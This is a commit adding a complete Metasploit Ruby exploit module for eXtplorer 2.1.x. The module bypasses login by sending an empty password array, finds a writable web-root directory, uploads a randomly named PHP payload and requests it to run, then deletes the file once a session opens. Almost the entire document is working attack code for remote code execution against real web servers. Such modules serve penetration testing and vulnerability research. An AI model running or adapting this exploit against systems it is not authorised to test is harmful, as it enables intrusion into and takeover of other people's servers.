Add eXtplorer v2.1 auth bypass exploit module
bcoles
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits an authentication bypass vulnerability in eXtplorer
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versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
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This application has an upload feature that allows an authenticated user
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with administrator roles to upload arbitrary files to any writable
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directory in the web root. This module uses an authentication bypass
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vulnerability to upload and execute a file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
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],
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'References' =>
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[
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['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
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['URL', 'http://extplorer.net/issues/105']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 31 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
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OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin'])
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], self.class)
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end
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def check
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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peer = "#{rhost}:#{rport}"
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# retrieve software version from ./extplorer.xml
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{base}extplorer.xml"
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})
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return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
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return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/
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return Exploit::CheckCode::Safe
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{peer} - Connection failed")
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end
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return Exploit::CheckCode::Unknown
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end
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def on_new_session(client)
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if client.type == "meterpreter"
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client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
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client.fs.file.rm("#{@fname}")
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else
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client.shell_command_token("rm #{@fname}")
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end
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end
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def upload(base, dir, fname, file)
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boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
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data_post = "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n"
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data_post << "Content-Type: application/x-httpd-php\r\n"
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data_post << "\r\n#{file}\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n"
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data_post << "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n"
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data_post << "--#{boundary}\r\n"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => data_post,
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'cookie' => datastore['COOKIE'],
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})
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return res
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end
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def auth_bypass(base, user)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
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'cookie' => datastore['COOKIE'],
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})
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return res
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end
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def exploit
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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@peer = "#{rhost}:#{rport}"
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@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
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user = datastore['USERNAME']
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datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"
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# bypass auth
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print_status("#{@peer} - Authenticating as user (#{user})")
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res = auth_bypass(base, user)
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if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
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print_status("#{@peer} - Authenticated successfully")
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else
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print_error("#{@peer} - Authentication failed")
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return
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end
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# search for writable directories
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print_status("#{@peer} - Retrieving writable subdirectories")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'cookie' => datastore['COOKIE'],
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'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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return
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end
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if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
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dir = "#{base}#{$1}"
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print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
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else
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dir = "#{base}"
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print_error("#{@peer} - Could not find a writable subdirectory.")
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end
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# upload PHP payload
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print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
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php = %Q|<?php #{payload.encoded} ?>|
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begin
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res = upload(base, dir, @fname, php)
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if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
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print_good("#{@peer} - File uploaded successfully")
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else
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print_error("#{@peer} - Uploading PHP payload failed")
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return
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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return
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end
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# search directories in the web root for the file
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print_status("#{@peer} - Searching directories for file (#{@fname})")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
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'cookie' => datastore['COOKIE'],
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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return
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end
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if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
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dir = $1.gsub('\\','')
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print_good("#{@peer} - Successfully found file")
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else
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print_error("#{@peer} - Failed to find file")
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end
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# retrieve and execute PHP payload
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print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
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begin
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send_request_cgi({
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'method' => 'GET',
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'uri' => "/#{dir}/#{@fname}"
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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return
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end
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if res and res.code != 200
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print_error("#{@peer} - Executing payload failed")
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end
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end
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end
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